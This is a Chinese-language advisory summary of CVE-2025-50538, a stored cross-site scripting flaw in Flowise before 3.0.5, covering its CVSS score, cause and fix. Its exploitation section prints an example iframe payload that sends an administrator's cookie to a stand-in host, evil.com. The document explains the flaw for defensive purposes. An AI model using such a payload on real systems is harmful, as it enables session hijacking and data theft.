CVE-2025-50538CVE-2025-50538是Flowise(开源AI可视化工作流构建平台)在3.0.5版本之前存在的一个高危存储型跨站脚本(XSS)漏洞。该漏洞允许攻击者通过在聊天日志中注入恶意的IFRAME元素,当管理员查看聊天日志时,恶意代码将在管理员的浏览器上下文中执行。
Flowise是一款基于LangChain的开源UI可视化工具,允许用户通过拖拽方式构建和部署基于大语言模型(LLM)的AI应用。由于其广泛用于企业内部AI助手、客服机器人等场景,管理员通常拥有较高的系统权限,因此该漏洞的危害程度较高。
该漏洞的CVSS 3.1评分为8.2分,属于高危级别。攻击向量为网络(AV:N),攻击复杂度低(AC:L),无需任何特权(PR:N),但需要用户交互(UI:R),影响范围为变更(S:C),对机密性影响为高(C:H),对完整性影响为低(I:L),对可用性无影响(A:N)。这表明该漏洞虽然需要管理员主动查看聊天日志触发,但一旦触发,可能导致管理员会话被劫持、敏感信息泄露,甚至进一步利用管理员权限执行恶意操作。
该漏洞已在Flowise 3.0.5版本中通过PR #4905修复,并发布了相应的安全公告GHSA-964p-j4gg-mhwc。建议所有使用Flowise的用户尽快升级到3.0.5或更高版本以消除风险。
该漏洞的核心问题在于Flowise在渲染聊天日志内容时,未对用户输入进行充分的HTML标签过滤和转义处理,特别是对IFRAME元素缺乏有效的安全过滤机制。
**漏洞原理:**
1. Flowise的聊天功能允许用户与AI模型进行交互,对话内容会被持久化存储到聊天日志中。
2. 当普通用户(可能经过身份验证,也可能未经过身份验证,取决于部署配置)通过聊天接口提交包含恶意HTML/IFRAME标签的内容时,这些内容会被存储到后端数据库中。
3. 管理员通过Flowise的管理后台查看聊天日志时,后端从数据库中读取聊天内容并直接渲染到前端页面,未对HTML标签进行适当的转义或过滤。
4. 恶意IFRAME元素在管理员的浏览器中加载并执行,可能加载任意URL、窃取管理员的会话Cookie、执行JavaScript代码等。
**利用方式:**
攻击者可以通过聊天接口提交包含类似 `<iframe src="https://evil.com/steal?cookie=" + document.cookie></iframe>` 的恶意载荷。当管理员在后台查看该聊天记录时,恶意IFRAME将被渲染并执行,从而实现对管理员会话的劫持或敏感信息的窃取。由于该漏洞利用了IFRAME标签的特性,攻击者还可以利用其加载钓鱼页面、执行点击劫持等攻击。
**修复方式:**
Flowise在3.0.5版本中通过PR #4905对聊天日志的渲染逻辑进行了修复,增加了对HTML内容的严格过滤和转义处理,防止恶意标签被执行。